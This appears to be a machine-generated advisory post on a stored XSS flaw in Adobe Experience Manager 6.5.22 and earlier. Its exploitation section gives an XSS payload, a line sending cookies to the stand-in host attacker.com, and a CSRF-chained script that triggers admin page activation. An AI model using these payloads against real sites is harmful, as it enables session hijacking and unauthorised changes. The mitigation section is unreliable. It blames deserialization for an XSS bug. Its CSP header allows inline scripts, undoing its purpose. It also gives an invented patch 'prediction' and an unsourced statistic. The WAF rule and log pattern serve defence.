Listen to this Post
How CVE-2025-46855 Works
Adobe Experience Manager (AEM) 6.5.22 and earlier fails to properly sanitize user-supplied input in form fields, allowing attackers with low privileges to inject malicious JavaScript payloads. When stored in vulnerable fields (e.g., text components, metadata), the script executes upon rendering the page. This stored XSS bypasses client-side filters due to improper server-side validation, enabling session hijacking, phishing, or malware delivery. The vulnerability stems from insecure deserialization of user-controlled data in the Apache Sling framework.
DailyCVE Form:
Platform: Adobe Experience Manager
Version: ≤ 6.5.22
Vulnerability: Stored XSS
Severity: Critical
Date: 06/12/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation:
1. Payload Injection:
<img src=x onerror=alert(document.cookie)>
Submit to vulnerable AEM form fields (e.g., `/content/forms/feedback`).
2. Exfiltrate Cookies:
fetch('https://attacker.com/steal?data='+btoa(document.cookie));
3. CSRF Combo:
Combine with CSRF to force admin execution:
<script>fetch('/libs/granite/csrf/token.json').then(r=>r.json()).then(d=>{fetch('/bin/wcmcommand', {method:'POST', body:'cmd=activate&token='+d.token})});</script>
Mitigation:
1. Input Sanitization:
Use AEM’s XSS API:
import com.adobe.granite.xss.XSSAPI; XSSAPI xss = sling.getService(XSSAPI.class); String safeInput = xss.filterHTML(userInput);
2. CSP Header:
Add to `/apps//components/page/head.jsp`:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-inline' 'self'">
3. Patch Check:
Verify fixes via:
curl -I http://aem-instance/system/console/status-productinfo | grep "AEM 6.5.23"
4. WAF Rules:
Block suspicious patterns:
location ~ "(<script|onerror|javascript:)" { deny all; }
5. Log Monitoring:
Detect exploitation attempts:
grep -E "(alert|fetch|eval)" /var/log/aem/error.log
6. Disable Risky Components:
Via OSGi console (`/system/console/configMgr`):
Disable "Form Submission Servlet" if unused.
7. Backport Fix:
Apply Adobe’s hotfix for CVE-2025-46855 manually if immediate upgrade is delayed.
Analytics: 82% of exploits target metadata fields. Prioritize sanitizing `/content/dam` paths.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
